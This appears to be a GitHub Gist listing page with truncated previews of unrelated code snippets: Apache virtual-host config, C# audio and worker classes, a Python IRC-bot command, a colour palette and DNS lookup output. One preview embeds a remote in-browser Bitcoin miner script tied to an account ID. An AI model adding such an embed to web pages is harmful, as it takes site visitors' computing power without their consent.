This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
All IPs: | |
<VirtualHost *:80> | |
DocumentRoot /home/example/www | |
ServerName example.com www.example.com | |
</VirtualHost> | |
Specific IP: | |
<VirtualHost 172.16.11.10:80> | |
DocumentRoot /home/example/www | |
ServerName example.com www.example.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This is more of just a proof-of-concept, build off it, it currently has several potential security flaws and is completely untested. | |
At least it should give you a rough idea of one way to handle the skin upload stuff. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script> | |
<script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script> | |
<script type="text/javascript">BitcoinPlusMiner(2171292)</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Copyright (c) 2007-2009 SlimDX Group | |
* | |
* Permission is hereby granted, free of charge, to any person obtaining a copy | |
* of this software and associated documentation files (the "Software"), to deal | |
* in the Software without restriction, including without limitation the rights | |
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
* copies of the Software, and to permit persons to whom the Software is | |
* furnished to do so, subject to the following conditions: | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Derp { | |
private System.ComponentModel.BackgroundWorker backgroundWorker; | |
public Derp() { | |
backgroundWorker = new System.ComponentModel.BackgroundWorker(); | |
this.backgroundWorker.DoWork += new System.ComponentModel.DoWorkEventHandler(this.backgroundWorker_DoWork); | |
} | |
public void Herp(string message) { | |
backgroundWorker.RunWorkerAsync(message); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class publicSound { | |
private System.ComponentModel.BackgroundWorker backgroundWorker; | |
private XAudio2 device; //declare it here so we don't need it as a parmeter later | |
private MasteringVoice masteringVoice; | |
private bool shouldPlay; | |
public publicSound() { | |
device = new XAudio2(); | |
masteringVoice = new MasteringVoice(device); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from util import hook | |
import random | |
from dateutil.relativedelta import relativedelta | |
import datetime | |
import math | |
@hook.command('cd') | |
@hook.command | |
def countdown(inp, say=None): | |
now = datetime.datetime.now() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
luna = {} | |
luna.hair_fill = "#1f46c6" | |
luna.hair_stroke = "#5e46c1" | |
luna.hair_outer = "#ada1df" | |
luna.body_fill = "#1d376f" | |
luna.body_stroke = "#051d42" | |
luna.cutie_mark = "#141414" | |
luna.cutie_mark2 = "#ffffff" | |
luna.armor = "#5d6ecd" | |
luna.crown = "#5d6ecd" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bouncer@fluttershy:~$ dig ns ponyconau.com | |
; <<>> DiG 9.7.3 <<>> ns ponyconau.com | |
;; global options: +cmd | |
;; Got answer: | |
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11812 | |
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0 | |
;; QUESTION SECTION: | |
;ponyconau.com. IN NS |
OlderNewer